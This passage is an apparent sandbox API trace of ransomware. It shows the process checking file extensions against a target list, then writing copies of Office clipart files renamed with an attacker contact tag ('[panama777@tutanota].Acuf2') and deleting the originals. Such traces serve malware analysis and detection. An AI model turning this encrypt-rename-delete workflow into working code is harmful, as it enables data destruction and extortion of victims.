	[0274.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.068] lstrlenW (lpString=".rar") returned 4
	[0274.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.068] lstrlenW (lpString=".bz2") returned 4
	[0274.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.068] lstrlenW (lpString=".7z") returned 3
	[0274.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63
	[0274.068] lstrlenW (lpString=".dbf") returned 4
	[0274.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63
	[0274.068] lstrlenW (lpString=".1cd") returned 4
	[0274.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63
	[0274.068] lstrlenW (lpString=".jpg") returned 4
	[0274.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.069] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=11720) returned 1
	[0274.069] CloseHandle (hObject=0x328) returned 1
	[0274.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 0x20
	[0274.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0274.069] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.069] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0274.071] GetLastError () returned 0x0
	[0274.071] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x2dc8, lpOverlapped=0x0) returned 1
	[0274.072] WriteFile (in: hFile=0x388, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x2dd0, lpOverlapped=0x0) returned 1
	[0274.073] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.073] WriteFile (in: hFile=0x388, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.073] SetEndOfFile (hFile=0x388) returned 1
	[0274.073] CloseHandle (hObject=0x388) returned 1
	[0274.073] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.074] SetEndOfFile (hFile=0x328) returned 1
	[0274.076] CloseHandle (hObject=0x328) returned 1
	[0274.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 1
	[0274.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63
	[0274.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63
	[0274.076] lstrlenW (lpString=".doc") returned 4
	[0274.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.077] lstrlenW (lpString=".docx") returned 5
	[0274.077] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0274.077] lstrlenW (lpString=".pdf") returned 4
	[0274.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.077] lstrlenW (lpString=".xls") returned 4
	[0274.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.077] lstrlenW (lpString=".xlsx") returned 5
	[0274.077] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0274.077] lstrlenW (lpString=".ppt") returned 4
	[0274.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63
	[0274.077] lstrlenW (lpString=".zip") returned 4
	[0274.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.077] lstrlenW (lpString=".rar") returned 4
	[0274.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.077] lstrlenW (lpString=".bz2") returned 4
	[0274.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.077] lstrlenW (lpString=".7z") returned 3
	[0274.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63
	[0274.077] lstrlenW (lpString=".dbf") returned 4
	[0274.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63
	[0274.077] lstrlenW (lpString=".1cd") returned 4
	[0274.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63
	[0274.077] lstrlenW (lpString=".jpg") returned 4
	[0274.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.094] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=4612) returned 1
	[0274.094] CloseHandle (hObject=0x328) returned 1
	[0274.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 0x20
	[0274.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0274.165] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.165] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0274.165] GetLastError () returned 0x0
	[0274.165] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1204, lpOverlapped=0x0) returned 1
	[0274.182] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1210, lpOverlapped=0x0) returned 1
	[0274.183] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.183] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.183] SetEndOfFile (hFile=0x28c) returned 1
	[0274.183] CloseHandle (hObject=0x28c) returned 1
	[0274.183] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.183] SetEndOfFile (hFile=0x358) returned 1
	[0274.187] CloseHandle (hObject=0x358) returned 1
	[0274.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 1
	[0274.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63
	[0274.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63
	[0274.234] lstrlenW (lpString=".doc") returned 4
	[0274.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.235] lstrlenW (lpString=".docx") returned 5
	[0274.235] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0274.235] lstrlenW (lpString=".pdf") returned 4
	[0274.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.235] lstrlenW (lpString=".xls") returned 4
	[0274.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.235] lstrlenW (lpString=".xlsx") returned 5
	[0274.235] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0274.235] lstrlenW (lpString=".ppt") returned 4
	[0274.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63
	[0274.235] lstrlenW (lpString=".zip") returned 4
	[0274.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.235] lstrlenW (lpString=".rar") returned 4
	[0274.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.235] lstrlenW (lpString=".bz2") returned 4
	[0274.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.235] lstrlenW (lpString=".7z") returned 3
	[0274.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63
	[0274.235] lstrlenW (lpString=".dbf") returned 4
	[0274.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63
	[0274.235] lstrlenW (lpString=".1cd") returned 4
	[0274.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63
	[0274.235] lstrlenW (lpString=".jpg") returned 4
	[0274.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.253] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=9048) returned 1
	[0274.262] CloseHandle (hObject=0x358) returned 1
	[0274.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 0x20
	[0274.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0274.262] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.262] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0274.263] GetLastError () returned 0x0
	[0274.263] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x2358, lpOverlapped=0x0) returned 1
	[0274.266] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x2360, lpOverlapped=0x0) returned 1
	[0274.268] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.268] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.268] SetEndOfFile (hFile=0x28c) returned 1
	[0274.268] CloseHandle (hObject=0x28c) returned 1
	[0274.268] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.268] SetEndOfFile (hFile=0x358) returned 1
	[0274.270] CloseHandle (hObject=0x358) returned 1
	[0274.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 1
	[0274.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63
	[0274.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63
	[0274.270] lstrlenW (lpString=".doc") returned 4
	[0274.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.270] lstrlenW (lpString=".docx") returned 5
	[0274.270] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0274.270] lstrlenW (lpString=".pdf") returned 4
	[0274.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.270] lstrlenW (lpString=".xls") returned 4
	[0274.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.270] lstrlenW (lpString=".xlsx") returned 5
	[0274.270] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0274.271] lstrlenW (lpString=".ppt") returned 4
	[0274.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63
	[0274.271] lstrlenW (lpString=".zip") returned 4
	[0274.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.271] lstrlenW (lpString=".rar") returned 4
	[0274.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.271] lstrlenW (lpString=".bz2") returned 4
	[0274.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.271] lstrlenW (lpString=".7z") returned 3
	[0274.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63
	[0274.271] lstrlenW (lpString=".dbf") returned 4
	[0274.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63
	[0274.271] lstrlenW (lpString=".1cd") returned 4
	[0274.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63
	[0274.271] lstrlenW (lpString=".jpg") returned 4
	[0274.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.271] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=48388) returned 1
	[0274.272] CloseHandle (hObject=0x358) returned 1
	[0274.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 0x20
	[0274.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0274.272] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.272] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0274.272] GetLastError () returned 0x0
	[0274.272] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xbd04, lpOverlapped=0x0) returned 1
	[0274.290] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xbd10, lpOverlapped=0x0) returned 1
	[0274.292] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.292] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.292] SetEndOfFile (hFile=0x28c) returned 1
	[0274.292] CloseHandle (hObject=0x28c) returned 1
	[0274.292] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.292] SetEndOfFile (hFile=0x358) returned 1
	[0274.301] CloseHandle (hObject=0x358) returned 1
	[0274.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 1
	[0274.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63
	[0274.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63
	[0274.302] lstrlenW (lpString=".doc") returned 4
	[0274.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.302] lstrlenW (lpString=".docx") returned 5
	[0274.302] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0274.302] lstrlenW (lpString=".pdf") returned 4
	[0274.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.302] lstrlenW (lpString=".xls") returned 4
	[0274.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.302] lstrlenW (lpString=".xlsx") returned 5
	[0274.302] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0274.302] lstrlenW (lpString=".ppt") returned 4
	[0274.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63
	[0274.302] lstrlenW (lpString=".zip") returned 4
	[0274.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.302] lstrlenW (lpString=".rar") returned 4
	[0274.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.302] lstrlenW (lpString=".bz2") returned 4
	[0274.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.302] lstrlenW (lpString=".7z") returned 3
	[0274.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63
	[0274.302] lstrlenW (lpString=".dbf") returned 4
	[0274.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63
	[0274.303] lstrlenW (lpString=".1cd") returned 4
	[0274.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63
	[0274.303] lstrlenW (lpString=".jpg") returned 4
	[0274.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.539] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=17200) returned 1
	[0274.539] CloseHandle (hObject=0x35c) returned 1
	[0274.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 0x20
	[0274.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0274.539] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.539] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
